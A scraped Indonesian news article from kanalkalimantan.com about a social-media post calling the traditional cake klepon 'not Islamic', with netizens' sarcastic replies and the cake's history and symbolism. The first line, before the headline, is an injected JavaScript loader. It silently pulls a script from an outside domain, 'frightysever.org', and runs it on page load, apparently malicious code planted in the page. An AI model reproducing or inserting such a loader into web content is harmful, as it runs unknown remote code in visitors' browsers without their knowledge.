(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Viral

Saat Klepon Diisukan ‘Tak Islami’, Ini Protes Penggemar dari Seluruh Dunia!


KANALKALIMANTAN.COM, BANJARBARU– Beredar di media sosial bahwa kue klepon disebut sebagai jajanan tidak Islami. Lini masa pun heboh, karena sejak kapan klepon tidak islami? Karena toh kue ini tidak dibuat dari bahan yang dilarang menurut syariat Islam. Duh!

Kue klepon sendiri adalah jajanan tradisional khas Indonesia yang terbuat dari tepung ketan. Tampilannya mirip seperti onde-onde, bulat berukuran mini dengan warna hijau muda. Kue klepon diisi dengan irisan gula merah, sementara bagian luarnya ditaburi kelapa parut.

Ternyata kue klepon sudah ada sejak tahun 1950-an. Konon kue ini diperkenalkan pertama kali oleh seseorang yang berasal dari Pasuruan, Jawa Timur. Saat itu, kue klepon jadi menu yang ditawarkan di restoran Indonesia-Belanda dan etnis Tionghoa.

Meski hanya jajanan tradisional, tetapi kue klepon banyak ditemui di berbagai tempat. Biasanya kue klepon banyak dijajakan di pasar-pasar tradisional, maka tak heran kue ini sering disebut sebagai jajanan pasar.

 

Rasanya yang manis dan teksturnya yang kenyal membuat kue klepon banyak disukai. Namun, baru-baru ini kue klepon ramai disebut sebagai jajanan yang tidak Islami. Kabar tersebut beredar dalam sebuah unggahan foto yang dibagikan oleh pengguna Twitter @Irenecutemom (21/07).

Dalam unggahan tersebut bertuliskan, “Kue klepon tidak Islami. Yuk tinggalkan jajanan yang tidak Islami dengan cata memberi jajanan Islami. Aneka kurma yang tersedia di toko Syariah kamu”. Belum jelas sumber gambar tersebut, tetapi dalam foto tertulis ‘Abu Ikhwan Aziz’.

Heboh postingan yang menyebut kue klepon tidak islami di media sosial. foto: twitter

Selain itu, foto itu tidak menyebut alasan mengapa kue klepon disebut sebagai jajanan tidak Islami. Sontak unggahan tersebut langsung memicu berbagai tanggapan dari netizen. Banyak dari netizen yang mengaku terheran-heran dengan ungkapan tersebut.

Kue Klepon disebut jajanan tak islamiKue Klepon disebut jajanan tak islami Foto: Twitter @Irenecutemom

“Padahal sensasi ketika gula merahnya pecah di mulut sungguh nikmat tiada tara. Oh, mungkin terlalu vulgar ya,” tulis netizen.

“Subhanallah ketika adonan dipotong tidak dihadapkan ke Kiblat dan tidak dengan Bismillah,” tulis netizen lainnya. “Mau jualan kurma kok jelekin makanan lainnya,” tulis netizen.

Sementara itu, ada juga netizen yang melontarkan komentar pelesetan dengan menyebut ada juga jajanan lainnya yang tidak islam. Seperti yang disampaikan oleh netizen @doogsnileef. Kue Klepon disebut jajanan tak islamiKue Klepon disebut jajanan tak islami.

“Apalagi kue putu, selain tidak Islami, kue ini pun termasuk kriminal. Putu ne dewe di dol (cucunya sendiri di jual),” tulisnya.

“Kenapa klepon doang? Kenapa nggak semua kue? Kue tart? Brownies? Nogosari? Iwel-iwel? Mendut? Lemper? Apakah kau yakin mereka Islami? Bungkusnya doang daun pisang, ternyata dalemnya isi kue. Ini kan penipuan, tidak Islami sekali,” tulis netizen @HabibiFuad.

Di balik tuduhan yang tidak berdasar itu, kue klepon memiliki filosofi dan mengandung pelajaran moral. Kue klepon melambangkan kesederhanaan. Itu dilihat dari bahan-bahan sederhana yang digunakan untuk membuat klepon.

Warna hijau pada kue klepon yang berasal dari daun suji pandan melambangkan kesejahteraan dan kesuburan. Hal tersebut karena menggambarkan pulau-pulau di Indonesia yang menempati tanah-tanah yang subur dan banyak ditumbuhi pepohonan hijau.

Pelajaran moral ada pada cara memakan kue klepon. Kue klepon diisi dengan gula merah cair, ketika dimakan gula di dalamnya akan lumer di mulut. Namun, bayangkan jika kamu memakannya sambil mulut terbuka, gula cairnya akan berantakan ke mana-mana.

Hal tersebutlah yang berkaitan dengan budaya kita yang mana mengajarkan untuk makan dengan sopan, yaitu dengan mulut tertutup dan tidak berbicara saat mengunyah. (kanalkalimantan.com/detik.com)


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

8 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

10 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

11 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

13 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

15 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

16 jam ago

This website uses cookies.